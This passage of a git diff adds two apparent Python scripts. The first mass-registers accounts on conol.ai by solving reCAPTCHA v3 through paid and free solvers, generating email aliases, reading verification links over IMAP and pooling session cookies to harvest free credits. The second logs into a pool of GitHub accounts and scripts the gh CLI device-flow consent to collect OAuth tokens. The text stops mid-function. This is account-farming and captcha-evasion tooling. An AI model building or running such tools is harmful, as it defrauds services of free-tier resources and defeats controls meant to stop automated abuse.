(AntiCaptcha reCAPTCHA v3 + IMAP verification). +No browser needed. Creates N new accounts via plus-alias. + +Usage: + python conol_register.py --count 5 # pilot 5 accounts (default) + python conol_register.py --count 1 # single account +""" + +import atexit +import subprocess +import json +import os +import time +import logging +import re +import imaplib +import email as email_module +import quopri +import ssl +import sys +from pathlib import Path +from typing import Optional +from urllib.parse import unquote + +import requests + +# Log lines carry ✅/❌. When stdout is a file rather than a tty the encoding comes from +# the locale (cp1251/cp866 on this box) and the first emoji raises UnicodeEncodeError, +# killing an unattended run. Setting PYTHONIOENCODING from inside the process is too late +# — the interpreter reads it at startup — so reconfigure the streams directly. The +# supervisor also passes -X utf8 and PYTHONIOENCODING; this covers every other launcher. +for _stream in (sys.stdout, sys.stderr): + try: + _stream.reconfigure(encoding="utf-8", errors="replace") + except (AttributeError, ValueError): + pass + +logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") +log = logging.getLogger("conol_register") + +# ─── constants ────────────────────────────────────────────────────────────── +BASE_DIR = Path(__file__).resolve().parent +POOL_FILE = BASE_DIR / "conol_accounts_pool.jsonl" +PID_FILE = BASE_DIR / "conol_register_run.pid" + +# credentials load from config.json / env — see conol_secrets.py +from conol_secrets import ( # noqa: E402 + GMAIL, GMAIL_APP, PASSWORD, SITE_KEY, BASE_URL, ANTICAPTCHA_KEYS, +) +import conol_captcha # noqa: E402 free chrome_cdp -> paid anticaptcha chain +import conol_emails # noqa: E402 gmail plus-alias + t-online.de dedicated boxes + + +def solve_captcha(action: str, skip: "set|None" = None) -> Optional[str]: + """Solve reCAPTCHA v3 through the provider chain (free Chrome CDP first, + paid AntiCaptcha fallback). `skip` escalates past a provider whose token + the server just rejected. See conol_captcha.py for the order/config.""" + return conol_captcha.solve(action, skip=skip) + + +def new_client() -> "requests.Session": + """One HTTP session for the WHOLE registration chain. + + better-auth sets a session cookie on POST /api/invites/register and + /api/auth/send-verification-email only succeeds when that cookie is + presented. The previous code used a fresh `requests.post` per step, so the + cookie was dropped and 3/5 pilot accounts died with + "send verification email failed" even though the account had been created. + """ + session = requests.Session() + session.headers.update({ + "Accept": "application/json", + "User-Agent": ("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 " + "(KHTML, like Gecko) Chrome/140.0 Safari/537.36"), + "Origin": BASE_URL, + }) + return session + + +def _log_failure(step: str, resp) -> None: + """Never swallow a non-2xx: the body is the only diagnostic conol gives us.""" + log.warning("%s failed: HTTP %s %s", step, resp.status_code, resp.text[:220].replace("\n", " ")) + + +def sign_in(email: str, captcha_token: str, client=None) -> Optional[dict]: + """POST /api/auth/sign-in/email. Returns session data dict or None.""" + http = client or requests + resp = http.post(f"{BASE_URL}/api/auth/sign-in/email", json={ + "email": email, "password": PASSWORD, + "callbackURL": "/home", "rememberMe": True, + }, headers={ + "x-captcha-response": captcha_token, + "Content-Type": "application/json", + "Referer": f"{BASE_URL}/login", + }, timeout=20) + + if resp.status_code != 200: + _log_failure(f"sign-in {email[:34]}", resp) + return None + + data = resp.json() + # The usable credential is the COOKIE value: "<token>.<base64 signature>" (~85 + # chars). The response body's "token" is the bare 32-char session id and + # get-session rejects it, so it must never be treated as a fallback. + # With a shared requests.Session the cookie often lands in the session jar + # rather than resp.cookies, so check both. + session_token = resp.cookies.get("__Secure-better-auth.session_token") + if not session_token: + jar = getattr(http, "cookies", None) + if jar is not None: + session_token = jar.get("__Secure-better-auth.session_token") + if not session_token: + body_token = data.get("token") or "" + log.warning("sign-in 200 for %s but no session cookie (body token %d chars is " + "unusable for get-session)", email[:34], len(body_token)) + return None + + return {"session_token": session_token, "user": data.get("user", {})} + + +def register_account(email: str, name: str, captcha_token: str, client=None) -> Optional[dict]: + """POST /api/invites/register. Returns response dict or {"error": ...}.""" + http = client or requests + resp = http.post(f"{BASE_URL}/api/invites/register", json={ + "token": None, "email": email, "password": PASSWORD, + "name": name, "referrer_share_id": None, + }, headers={ + "x-captcha-response": captcha_token, + "Content-Type": "application/json", + "Referer": f"{BASE_URL}/sign-up", + }, timeout=20) + + if resp.status_code in (200, 201): + try: + return resp.json() + except ValueError: + return {"ok": True, "raw": resp.text[:200]} + _log_failure(f"register {email[:34]}", resp) + try: + err = resp.json() + # Include the machine code so callers can classify a CAPTCHA_VERIFICATION_FAILED + # rejection (retryable with a fresh token) from a hard validation error. The + # human message alone ("Human verification failed") does not contain "CAPTCHA". + msg = err.get("error") or resp.text[:200] + code = err.get("code") or "" + return {"error": f"{msg} [{code}]" if code else msg} + except ValueError: + return {"error": f"HTTP {resp.status_code}: {resp.text[:200]}"} + + +def send_verification_email(email: str, captcha_token: str, client=None) -> bool: + """POST /api/auth/send-verification-email. Requires the register session cookie.""" + http = client or requests + resp = http.post(f"{BASE_URL}/api/auth/send-verification-email", json={ + "email": email, "callbackURL": "/home", + }, headers={ + "x-captcha-response": captcha_token, + "Content-Type": "application/json", + "Referer": f"{BASE_URL}/sign-up", + }, timeout=20) + + if resp.status_code in (200, 201): + return True + _log_failure(f"send-verification-email {email[:34]}", resp) + return False + + +def wait_for_verify_link(target_alias: str, since_epoch: float, timeout: int = 180) -> Optional[str]: + """Poll Gmail IMAP for verification link. Returns URL or None.""" + deadline = time.time() + timeout + while time.time() < deadline: + mail = None + try: + mail = imaplib.IMAP4_SSL("imap.gmail.com", 993, + ssl_context=ssl.create_default_context(), timeout=20) + mail.login(GMAIL, GMAIL_APP) + mail.select("INBOX") + status, data = mail.search(None, 'FROM "Conol"') + if status != "OK" or not data or not data[0]: + time.sleep(4) + continue + for message_id in reversed(data[0].split()[-30:]): + status, rows = mail.fetch(message_id, "(RFC822)") + if status != "OK" or not rows or not isinstance(rows[0], tuple): + continue + raw = rows[0][1] + message = email_module.message_from_bytes(raw) + to_header = str(message.get("To", "")) + if target_alias.lower() not in to_header.lower(): + continue + message_ts = email_module.utils.mktime_tz( + email_module.utils.parsedate_tz(str(message.get("Date", "")))) + if message_ts and message_ts < since_epoch - 30: + continue + decoded = quopri.decodestring(raw).decode("utf-8", errors="replace") + match = re.search( + r"https://conol\.ai/api/auth/verify-email\?token=([^&\s\"'<>]+)(?:&|&)callbackURL=([^\s\"'<>]+)", + decoded, flags=re.IGNORECASE) + if match: + token = match.group(1).replace("=\r\n", "").replace("=\n", "") + callback = match.group(2).replace("=\r\n", "").replace("=\n", "") + return f"https://conol.ai/api/auth/verify-email?token={token}&callbackURL={callback}" + except: + pass + finally: + if mail is not None: + try: + mail.logout() + except: + pass + time.sleep(4) + return None + + +def verify_email(verify_url: str, client=None) -> bool: + """GET verify-email URL. Returns True if verification succeeded.""" + http = client or requests + resp = http.get(verify_url, headers={"Accept": "application/json"}, + timeout=20, allow_redirects=False) + if resp.status_code in (200, 302, 307): + return True + _log_failure("verify-email", resp) + return False + + +def verify_session(session_token: str) -> Optional[dict]: + """GET /api/auth/get-session. Returns user or None.""" + import requests + + resp = requests.get(f"{BASE_URL}/api/auth/get-session", + cookies={"__Secure-better-auth.session_token": session_token}, + headers={"Accept": "application/json"}, timeout=15) + if resp.status_code == 200: + return resp.json().get("user") + return None + + +def get_balance(session_token: str) -> Optional[float]: + """GET /api/billing/balance. Returns total or None.""" + import requests + + resp = requests.get(f"{BASE_URL}/api/billing/balance", + cookies={"__Secure-better-auth.session_token": session_token}, + headers={"Accept": "application/json"}, timeout=15) + if resp.status_code == 200: + return resp.json().get("total") + return None + + +def save_cookies(name: str, session_token: str) -> str: + """Save cookies atomically; never truncate an existing file on empty input. + + Same defect that was fixed in conol_refresh.py: opening the target with "w" + before validating anything turned a working cookie file into `[]` on a failed + refresh (observed: cookies_conol337718.json 629 B -> 2 B). + """ + cookies_path = BASE_DIR / f"cookies_{name.lower()}.json" + if not session_token: + log.warning("save_cookies: empty token for %s — leaving %s untouched", name, cookies_path.name) + return str(cookies_path) + + cookies = [{ + "name": "__Secure-better-auth.session_token", + "value": session_token, + "domain": "conol.ai", + "path": "/", + "expires": int(time.time() + 604800), + "httpOnly": True, + "secure": True, + "sameSite": "Lax", + }] + tmp_path = cookies_path.with_name(cookies_path.name + ".tmp") + with open(tmp_path, "w", encoding="utf-8") as f: + json.dump(cookies, f, indent=2) + f.flush() + tmp_path.replace(cookies_path) + return str(cookies_path) + + +def append_to_pool(entry: dict): + """Append one account to pool file.""" + with open(POOL_FILE, "a", encoding="utf-8") as f: + f.write(json.dumps(entry, ensure_ascii=False) + "\n") + + +def register_one(suffix: int, provider: str = None) -> dict: + """Register one account. Returns result dict. + + provider: 'gmail' | 'tonline' | None (first enabled). The address AND its + mailbox credentials come from conol_emails.next_address() so the verify-link + poller knows which IMAP server/box to read.""" + mailres = conol_emails.next_address(f"conol{suffix}", provider=provider) + if mailres is None: + return {"name": f"Conol{suffix}", "email": None, "started_at": time.time(), + "error": f"no email address available (provider={provider})"} + email = mailres["address"] + # 10 digits, not 6: save_cookies keys the file on this name, so a 6-digit space + # is only 10^6 and a ~370-attempt campaign has a ~6-7% birthday chance of two + # pool rows pointing at one cookies_conol*.json (the second silently overwrites + # the first, and it surfaces later as a token belonging to another account). + name = f"Conol{str(suffix).zfill(10)[-10:]}" + started = time.time() + result = {"name": name, "email": email, "started_at": started, + "email_provider": mailres["provider"]} + captcha_cost = 0 + + log.info("=" * 50) + log.info("Registering %s (%s)", name, email) + + client = new_client() + + # Step 1: register. Retry with a FRESH token per attempt: AntiCaptcha v3 + # tokens are a score lottery, and the same endpoint reliably passes on + # attempt 2-3. On EMAIL_ALREADY_REGISTERED (a t-online box used by an earlier + # campaign) we hop to a fresh address instead of burning attempts — the pool + # of 17k .de boxes has an unknown fraction already taken. + reg = None + email_hops = 0 + MAX_EMAIL_HOPS = 12 + attempt = 0 + skip_providers = set() + while attempt < 3: + attempt += 1 + captcha = solve_captcha("sign_up", skip=skip_providers or None) + used_provider = conol_captcha.LAST_PROVIDER + if not captcha: + log.warning("sign_up captcha solve failed (attempt %d/3)", attempt) + time.sleep(3) + continue + captcha_cost += 1 + candidate = register_account(email, name, captcha, client) + if candidate is not None and "error" not in candidate: + reg = candidate + break + err_text = str((candidate or {}).get("error", "")) + upper = err_text.upper() + if "ALREADY REGISTERED" in upper or "ALREADY EXISTS" in upper or "EMAIL_ALREADY" in upper: + # This mailbox is taken on conol. Mark it used and hop to the next one. + email_hops += 1 + if email_hops > MAX_EMAIL_HOPS: + log.error("%d consecutive already-registered addresses — provider pool exhausted", email_hops) + return {**result, "captcha_solves": captcha_cost, + "error": "all reserved addresses already registered (%d hops)" % email_hops} + log.warning("address %s already registered on conol — reserving next (hop %d/%d)", + email, email_hops, MAX_EMAIL_HOPS) + conol_emails.mark_used(mailres) + mailres = conol_emails.next_address("conol%d" % int(time.time() * 1000), provider=mailres["provider"]) + if mailres is None: + return {**result, "captcha_solves": captcha_cost, + "error": "email provider exhausted while skipping registered addresses"} + email = mailres["address"] + result["email"] = email + result["email_provider"] = mailres["provider"] + name = "Conol" + str(int(time.time() * 1000) % 10_000_000_000).zfill(10)[-10:] + attempt -= 1 # a hop is not a failed attempt against the new address + client = new_client() + continue + log.warning("register attempt %d/3 rejected: %s", attempt, err_text[:160] or "no response") + if err_text and "CAPTCHA" not in upper: + # Registration is not idempotent. A 403 CAPTCHA_VERIFICATION_FAILED happens + # BEFORE the account exists, so retrying is safe; a 400/409/422 (validation) + # or a 429 does not benefit from another solve and retrying it just burns + # budget while masking real state. + log.error("non-captcha rejection — not retrying: %s", err_text[:160]) + return {**result, "captcha_solves": captcha_cost, "error": err_text[:200]} + # The server rejected THIS token. Escalate: stop using the provider that + # minted it (a fresh Chrome profile scores too low for reCAPTCHA v3) and + # let the next attempt fall through to the paid AntiCaptcha path. + if "CAPTCHA_VERIFICATION_FAILED" in upper and used_provider: + skip_providers.add(used_provider) + log.warning("token from %s rejected by server — escalating past it (skip=%s)", + used_provider, sorted(skip_providers)) + time.sleep(5) + if reg is None: + return {**result, "captcha_solves": captcha_cost, + "error": "register failed after 3 attempts"} + + log.info("✅ Register OK") + + # Step 2: send verification email — same retry discipline, fresh token each time. + sent = False + for attempt in range(1, 4): + captcha = solve_captcha("send_verification_email") + if not captcha: + log.warning("send_verification_email captcha solve failed (attempt %d/3)", attempt) + time.sleep(3) + continue + captcha_cost += 1 + if send_verification_email(email, captcha, client): + sent = True + break + log.warning("send-verification attempt %d/3 rejected", attempt) + time.sleep(5) + if not sent: + return {**result, "captcha_solves": captcha_cost, + "error": "send verification email failed after 3 attempts"} + + log.info("✅ Verification email sent") + + # Step 3: Wait for verify link in the provider mailbox (up to 3 min) + verify_url = conol_emails.wait_for_verify_link(mailres, started, 180) + if not verify_url: + return {**result, "captcha_solves": captcha_cost, + "error": "no verify email found in %s mailbox (3 min timeout)" + % mailres["provider"]} + + log.info("✅ Got verify link: %s...", verify_url[:80]) + + # Step 4: Verify email via HTTP + if not verify_email(verify_url, client): + return {**result, "captcha_solves": captcha_cost, "error": "email verification failed"} + + # Not "Email verified": verify_email() accepts any 200/302/307 without inspecting + # Location, and better-auth 302s on failure too. The authoritative gate is + # user.emailVerified from get-session at Step 6 — in a 14-hour unattended log a + # premature success line is how a batch of unusable accounts goes unnoticed. + log.info("✅ verify-email responded (authoritative emailVerified check follows at sign-in)") + + # Step 5: Sign in (with retry) + session_data = None + for retry in range(3): + captcha = solve_captcha("sign_in") + if not captcha: + continue + captcha_cost += 1 + session_data = sign_in(email, captcha, client) + if session_data: + break + time.sleep(5) + + if not session_data: + return {**result, "captcha_solves": captcha_cost, + "error": "sign-in failed after 3 retries"} + + session_token = session_data["session_token"] + + # Step 6: Verify session. `verify_email()` accepts any 302 without checking + # Location, so emailVerified here is the only real proof the account is usable + # rather than merely able to sign in. + user = verify_session(session_token) + if not user: + return {**result, "captcha_solves": captcha_cost, + "error": "session invalid after sign-in"} + + if user.get("email", "").lower() != email.lower(): + return {**result, "captcha_solves": captcha_cost, + "error": f"email mismatch: {user.get('email')}"} + + if not user.get("emailVerified"): + # Registration AND sign-in both worked, so this alias is real and + # recoverable — dropping it would manufacture another orphan on conol.ai + # that nobody can find later. Record it as a work-queue row instead: + # no session_token and no cookie file, so the importer's + # is_live = bool(session_token and expires > now) keeps it inactive and it + # never reaches ExtremeRouter as a usable account. A later pass can re-issue + # send-verification-email for exactly these rows and promote them. + append_to_pool({ + "name": name, "email": email, "password": PASSWORD, + "cookies_path": "", "created_at": started, + "session_token": None, "token_expires": None, + "last_login": time.time(), "status": "unverified", + "credits": 0, + "email_provider": mailres["provider"], + "mailbox_password": mailres.get("password"), + }) + log.warning("%s: session ok but emailVerified=false — queued as 'unverified'", name) + return {**result, "captcha_solves": captcha_cost, + "error": "emailVerified=false — queued as unverified for a later pass"} + + # Step 7: Get balance + credits = get_balance(session_token) + elapsed = time.time() - started + + # Step 8: Save cookies + pool + cookies_path = save_cookies(name, session_token) + pool_entry = { + "name": name, "email": email, "password": PASSWORD, + "cookies_path": cookies_path, "created_at": started, + "session_token": session_token, "token_expires": time.time() + 604800, + "last_login": time.time(), "status": "live", + "credits": credits or 0, + "email_provider": mailres["provider"], + "mailbox_password": mailres.get("password"), + } + append_to_pool(pool_entry) + + log.info("✅ %s: email=%s, credits=%s, time=%.0fs, captcha_solves=%d", + name, email, credits, elapsed, captcha_cost) + + return { + **result, "ok": True, "credits": credits, + "elapsed_s": round(elapsed, 1), "captcha_solves": captcha_cost, + } + +# ─── unattended-run guards ──────────────────────────────────────────────────── +# Budget exhaustion, a dead solver key, Gmail IMAP throttling and an IP block all +# present identically: solve_captcha returns None or the endpoint 403s, per +# account, forever. Without these guards a multi-hour run produces nothing while +# still looking alive. +MAX_CONSECUTIVE_FAILURES = 10 +MIN_BUDGET_USD = 1.0 +RESULTS_FILE = BASE_DIR / "conol_register_results.jsonl" + + +def solver_balances() -> dict: + """Live AntiCaptcha balances — the log must report what can actually be spent, + not a hardcoded figure from whenever the script was written.""" + out = {} + for idx, key in enumerate(ANTICAPTCHA_KEYS, start=1): + try: + resp = requests.post("https://api.anti-captcha.com/getBalance", + json={"clientKey": key}, timeout=20).json() + out[f"key{idx}"] = resp.get("balance") if resp.get("errorId") == 0 \ + else f"error:{resp.get('errorCode')}" + except Exception as exc: # noqa: BLE001 - a probe must not kill the run + out[f"key{idx}"] = f"unreachable:{type(exc).__name__}" + return out + + +def append_result_line(result: dict): + """One JSON line per attempt, written as it happens. + + The in-memory `results` list is only summarised after the loop, so a death at + account 90 used to leave no record of which attempts failed or why. + """ + with open(RESULTS_FILE, "a", encoding="utf-8") as f: + f.write(json.dumps({**result, "ts": round(time.time(), 1)}, ensure_ascii=False) + "\n") + +# A slot claim is authoritative only while the file is younger than this. The window +# must exceed the LONGEST legitimate hold: a 200-attempt round at ~70-140 s per attempt +# runs up to ~8 h, and conol_refresh rewrites the whole pool over a similar span. A +# window shorter than that would read a legitimate multi-hour holder as stale and +# green-light a second writer — the exact threat the slot exists to stop. A window this +# long is also what caps the worst case of a wedged claim (a pid Windows recycled onto a +# long-lived unrelated process, plus the deliberately fail-closed probe): refusal can +# never outlast the window, so an unattended campaign cannot be bricked by its own guard. +# Project-wide source of truth: conol_scale.slot_holder imports it lazily inside the +# function — a module-level import would let this module's logging.basicConfig win the +# root-logger configuration of whoever imports it. +SLOT_MAX_HOLD_SEC = 12 * 3600 + + +def _pid_alive(pid: int) -> bool: + """True if `pid` exists. Fail-closed: any probe error means "assume alive". + + Do NOT reach for os.kill(pid, 0) here — on Windows CPython implements that as + OpenProcess(PROCESS_TERMINATE) + TerminateProcess(handle, sig), so signal 0 would + KILL the process it was meant to probe. tasklist is the only safe read-only check. + Its output is decoded defensively because this box emits non-UTF-8 bytes (0xff) in + some locales, which previously dropped a reader thread and yielded stdout=None; a + broken probe that reads as "dead" would let a second registrar start next to a + live one, which is the exact failure this guard exists to prevent. + """ + if pid <= 0: + return False + try: + proc = subprocess.run(["tasklist", "/FI", f"PID eq {pid}", "/NH"], + capture_output=True, timeout=20) + except Exception as exc: # noqa: BLE001 — probe failure must not look like "dead" + log.warning("pid probe for %s failed (%s) — assuming alive", pid, exc) + return True + out = (proc.stdout or b"").decode("utf-8", "replace") + # Whole-token match: the Mem Usage column can contain bare digits ("516 K") that a + # substring search would mistake for a pid. + return str(pid) in out.split() + + +def _write_pid_atomic(pid: int) -> None: + tmp = PID_FILE.with_suffix(".pid.tmp") + tmp.write_text(f"{pid}\n", encoding="utf-8") + os.replace(tmp, PID_FILE) + + +def acquire_pid_slot(owner: str = "registrar") -> bool: + """Claim conol_register_run.pid; refuse to start if a live foreign pid holds it. + + This file used to be written only by whoever launched the registrar, so a manual + launch left a stale pid behind and the supervisor's pid-oracle probed a long-dead + process forever. That left a SINGLE oracle — the run log's mtime — guarding against + two registrars appending to one JSONL pool and reading one Gmail mailbox over IMAP. + Owning the slot here makes the second writer impossible no matter who launches the + process, which the supervisor-side write cannot do. A pid left behind by taskkill /F + (no job object, so the child survives its parent, and atexit never runs) is detected + as stale on the next start and taken over. + + Refusal also requires the claim to be FRESH (mtime < SLOT_MAX_HOLD_SEC): _pid_alive + fails closed on purpose and Windows recycles pids, so without the age term one stale + file whose pid got reused by a long-lived unrelated process would refuse every round + forever — an unattended campaign bricked by its own guard. The holder keeps its claim + fresh by rewriting the file once per account (see main()). + """ + me = os.getpid() + if PID_FILE.exists(): + try: + other = int(PID_FILE.read_text(encoding="utf-8").split("\n", 1)[0].strip()) + except (ValueError, OSError): + other = 0 + try: + age = time.time() - PID_FILE.stat().st_mtime + except OSError: + age = float("inf") # cannot prove freshness -> treat as abandoned + if other == me: + log.info("re-acquiring own pid slot (pid %s)", me) + elif other and age < SLOT_MAX_HOLD_SEC and _pid_alive(other): + log.error("another %s (pid %s) already holds the slot (%.0fs old) — refusing " + "to start a second writer on %s", owner, other, age, POOL_FILE.name) + return False + else: + reason = (f"held longer than the {SLOT_MAX_HOLD_SEC}s max-hold window" + if other and age >= SLOT_MAX_HOLD_SEC else "pid not alive") + log.warning("taking over pid slot from pid %s (%s)", other, reason) + _write_pid_atomic(me) + return True + + +def release_pid_slot() -> None: + """Drop the pid file, but only while it still holds OUR pid.""" + me = os.getpid() + try: + if (PID_FILE.exists() + and PID_FILE.read_text(encoding="utf-8").split("\n", 1)[0].strip() == str(me)): + PID_FILE.unlink() + except OSError as exc: + log.warning("could not clear pid file: %s", exc) + + +def main(): + import argparse + parser = argparse.ArgumentParser(description="Pilot conol.ai registration") + parser.add_argument("--count", type=int, default=5, help="Number of accounts to register") + parser.add_argument("--provider", choices=["gmail", "tonline"], default=None, + help="Email provider (default: first enabled — gmail, then tonline)") + parser.add_argument("--free-captcha", action="store_true", + help="Force the free Chrome CDP solver only (no paid AntiCaptcha)") + args = parser.parse_args() + + if args.free_captcha: + conol_captcha.PROVIDERS = ["chrome_cdp"] + # Pre-launch Chrome + park it on conol.ai so the first solve is ~1 s, not ~30. + if "chrome_cdp" in conol_captcha.PROVIDERS: + conol_captcha.warmup() + enabled = conol_emails.providers() + if args.provider and args.provider not in enabled: + log.error("provider %s not enabled (available: %s)", args.provider, enabled) + return 4 + log.info("email providers enabled: %s (requested: %s)", enabled, args.provider or "auto") + + # Claim the slot before anything touches the pool. atexit (not try/finally around + # the whole body) keeps the diff to two lines and still covers every clean exit + # path, including the early `return 2` budget refusal below. + if not acquire_pid_slot(): + return 3 + atexit.register(release_pid_slot) + + # Cap raised from 5 (pilot) to 200 after the retry fix was measured end-to-end: + # 1/2 pilot accounts registered fully, 6 solves = $0.06, ~83 s per attempt. + if args.count > 200: + log.warning("Capping requested %d accounts to 200 per run.", args.count) + args.count = 200 + + log.info("Pilot registration: %d accounts", args.count) + paid_in_chain = "anticaptcha" in conol_captcha.PROVIDERS + budgets = solver_balances() if paid_in_chain else {} + log.info("Captcha budget (live getBalance): %s", budgets or "n/a — free solver chain") + spendable = sum(v for v in budgets.values() if isinstance(v, (int, float))) + # Scale the pre-flight floor with the round size: at the measured ~$0.03/attempt + # (worst case ~$0.09 with every retry firing) a flat $1 floor lets a 200-attempt + # round start, create aliases, and die on the consecutive-failure breaker — which + # is exactly the wasted work the floor exists to prevent. + floor = max(MIN_BUDGET_USD, 0.09 * args.count) if paid_in_chain else 0.0 + if paid_in_chain and spendable < floor: + log.error("Solver budget $%.4f is below the $%.2f floor for %d attempts — refusing to start", + spendable, floor, args.count) + return 2 + + results = [] + consecutive_failures = 0 + t0 = time.time() + + for i in range(args.count): + # Millisecond resolution (no randomness): collision-free unless two attempts + # land in the same millisecond, which the 30 s inter-account gap rules out. + # `name` above keeps 10 digits so the cookie filename space matches. + suffix = int(time.time() * 1000) % 10_000_000_000 + result = register_one(suffix, provider=args.provider) + result["batch_index"] = i + results.append(result) + append_result_line(result) + # Keep the slot claim fresh: acquire_pid_slot's refusal is age-gated, so a long + # round that never touches this file would eventually read as abandoned and let a + # second writer in. Refresh the MTIME only, and only while we still own the file: + # os.utime opens with FILE_WRITE_ATTRIBUTES (no replace), so it does not race the + # concurrent slot_holder() reader the way an os.replace would raise PermissionError + # on Windows, and it does not stomp a new holder's claim if we were aged out and + # someone legitimately took over. A missed refresh is harmless — the age window + # is 2 orders of magnitude wider than one attempt. + try: + if (PID_FILE.exists() + and PID_FILE.read_text(encoding="utf-8").split("\n", 1)[0].strip() == str(os.getpid())): + os.utime(PID_FILE, None) + except OSError as exc: + log.warning("could not refresh the slot claim: %s", exc) + + if result.get("ok"): + consecutive_failures = 0 + log.info(" ✅ Account %d/%d registered", i+1, args.count) + else: + consecutive_failures += 1 + log.warning(" ❌ Account %d/%d failed: %s", i+1, args.count, result.get("error", "?")) + if consecutive_failures >= MAX_CONSECUTIVE_FAILURES: + log.error("CIRCUIT BREAKER: %d consecutive failures — aborting instead of " + "burning budget for hours. Last error: %s", + consecutive_failures, result.get("error", "?")) + break + + if i < args.count - 1: + delay = 30 + log.info(" Waiting %ds before next account...", delay) + time.sleep(delay) + + elapsed = time.time() - t0 + ok_count = sum(1 for r in results if r.get("ok")) + captcha_total = sum(r.get("captcha_solves", 0) for r in results) + # Divide by what was actually attempted: after a circuit-breaker abort that is + # fewer than args.count, and the per-account cost matters most in that run. + avg_time = round(elapsed / len(results), 1) if results else 0 + + print("\n" + "=" * 60) + print(f"PILOT COMPLETE: {ok_count}/{args.count} accounts registered") + print(f"Total time: {elapsed:.0f}s (avg {avg_time}s per account)") + print(f"Total captcha solves: {captcha_total}") + + if ok_count > 0: + live_with_credits = [r for r in results if r.get("ok")] + total_credits = sum(r.get("credits", 0) or 0 for r in live_with_credits) + # These are conol credit units, not dollars — the old label rendered a + # 22k-credit pool as "$22268.00". + print(f"Total credits earned: {total_credits:.2f} conol credits") + print(f"Captcha solves: {captcha_total} (estimate at $0.01/solve: ~${captcha_total * 0.01:.2f})") + + print("=" * 60) + + # Detailed failures + failed = [r for r in results if not r.get("ok")] + if failed: + print("\nFAILURES:") + for r in failed: + print(f" ❌ {r['name']} ({r['email']}): {r.get('error', '?')}") + print() + + return 0 if ok_count > 0 else 1 + + +if __name__ == "__main__": + sys.exit(main()) \ No newline at end of file diff --git a/providers/gh_device_flow.py b/providers/gh_device_flow.py new file mode 100644 index 0000000..163bd74 --- /dev/null +++ b/providers/gh_device_flow.py @@ -0,0 +1,176 @@ +#!/usr/bin/env python3 +"""gh_device_auth — device-flow авторизация gh CLI через уже залогиненную GHSession. + +1. gh auth login --web печатает one-time code XXXX-XXXX и поллит github.com/login/oauth/access_token +2. Мы: GHSession.login(account) -> GET /login/device -> POST user_code -> authorize-confirm +3. gh получает gho_-токен (scopes: repo,read:org,gist) и пишет в свой keyring/hosts.yml +4. gh auth token -> токен; сохраняем в .gh_push_tokens.json + +Usage: python gh_device_auth.py +""" +import json +import os +import re +import subprocess +import sys +import threading +import time + +sys.path.insert(0, 'C:/Users/User/tmp/beat_toolkit') +from gh_session import GHSession, find_form, form_fields + +POOL = 'C:/Users/User/tmp/gh_accounts.json' +BANK = 'C:/Users/User/tmp/beat_autoreg/accounts.jsonl' +OUT = 'C:/Users/User/tmp/beat_autoreg/.gh_push_tokens.json' +GH = 'https://github.com' + + +def pick_account(): + pool = {a['login']: a for a in json.load(open(POOL, encoding='utf-8'))} + recs = [json.loads(l) for l in open(BANK, encoding='utf-8') if l.strip()] + cands = [r['gh_login'] for r in recs if r.get('access_token') and r['gh_login'] in pool] + cands = list(dict.fromkeys(cands))[::-1] + for login in cands: + return pool[login] + return None + + +def approve_device(s, code): + """Device-flow: select_account -> user-code-N посимвольно -> confirmation -> consent.""" + # 1. select_account + st, h, body = s.get(GH + '/login/device/select_account') + if st != 200: + return False, f'select_account http={st}' + form = find_form(body, 'select_account') + fields = form_fields(form) if form else {} + st2, h2, body2 = s.post_form(GH + '/login/device/select_account', fields) + loc2 = h2.get('Location', '') + if st2 in (301, 302) and loc2: + u = loc2 if loc2.startswith('http') else GH + loc2 + st2, h2, body2 = s.get(u) + # 2. confirmation form: user-code-0..8 посимвольно (включая дефис) + cform = find_form(body2, '/login/device/confirmation') + if not cform: + return False, f'no confirmation form (http={st2}, len={len(body2)})' + fields = form_fields(cform) + chars = list(code) # 'ABCF-A8AA' -> 9 символов + for i, ch in enumerate(chars): + fields[f'user-code-{i}'] = ch + if 'commit' in fields and not fields['commit']: + fields['commit'] = 'Continue' + st3, h3, body3 = s.post_form(GH + '/login/device/confirmation', fields) + loc3 = h3.get('Location', '') + if st3 in (301, 302) and loc3: + u = loc3 if loc3.startswith('http') else GH + loc3 + st3, h3, body3 = s.get(u) + if 'Device activated' in body3 or 'Congratulations' in body3: + return True, 'activated (no consent)' + open('C:/Users/User/tmp/beat_autoreg/consent_debug.html', 'w', encoding='utf-8').write(body3) + # 3. consent страница gh CLI OAuth app: форма с authenticity_token + Authorize + m = re.search(r'name="authenticity_token"[^>]*value="([^"]+)"', body3) + if not m: + return False, f'no consent token (http={st3}, len={len(body3)})' + aform = None + for mm in re.finditer(r'<form[^>]*>.*?</form>', body3, re.S): + if 'authenticity_token' in mm.group(0): + aform = mm.group(0) + break + action = GH + '/login/oauth/authorize' + if aform: + am = re.search(r'action="([^"]+)"', aform) + if am: + action = am.group(1) + if not action.startswith('http'): + action = GH + action + fields = form_fields(aform) + else: + fields = {'authenticity_token': m.group(1)} + fields['authenticity_token'] = m.group(1) + fields['authorize'] = '1' # КРИТИЧНО: кнопка Authorize (0 = Deny = access_denied) + st4, h4, body4 = s.post_form(action, fields) + loc4 = h4.get('Location', '') + if st4 in (301, 302) and loc4: + u = loc4 if loc4.startswith('http') else GH + loc4 + st4, h4, body4 = s.get(u) + if 'Device activated' in body4 or 'Congratulations' in body4 or st4 == 200: + return True, f'consent ok http={st4}' + return False, f'consent unclear http={st4} len={len(body4)}' + + +def main(): + if len(sys.argv) > 1: + pool = {a['login']: a for a in json.load(open(POOL, encoding='utf-8'))} + acc = pool.get(sys.argv[1]) + else: + acc = pick_account() + if not acc: + print('NO_ACCOUNT') + return + login = acc['login'] + print('account:', login) + # 1. GHSession login + s = GHSession() + ok, msg = s.login(login, acc['password'], acc.get('totp')) + print('gh login:', ok, msg) + if not ok: + print('LOGIN_FAIL') + return + # 2. gh auth login --web в фоне (pty через subprocess + pipes) + env = dict(os.environ) + env['GH_PROMPT_DISABLED'] = '1' + proc = subprocess.Popen( + ['gh', 'auth', 'login', '--hostname', 'github.com', '--git-protocol', 'https', '--web'], + stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, + text=True, encoding='utf-8', errors='replace', env=env) + code = None + buf = '' + deadline = time.time() + 60 + while time.time() < deadline: + line = proc.stdout.readline() + if not line: + time.sleep(0.2) + continue + buf += line + print('gh:', line.strip(), flush=True) + m = re.search(r'([A-Z0-9]{4}-[A-Z0-9]{4})', line) + if m: + 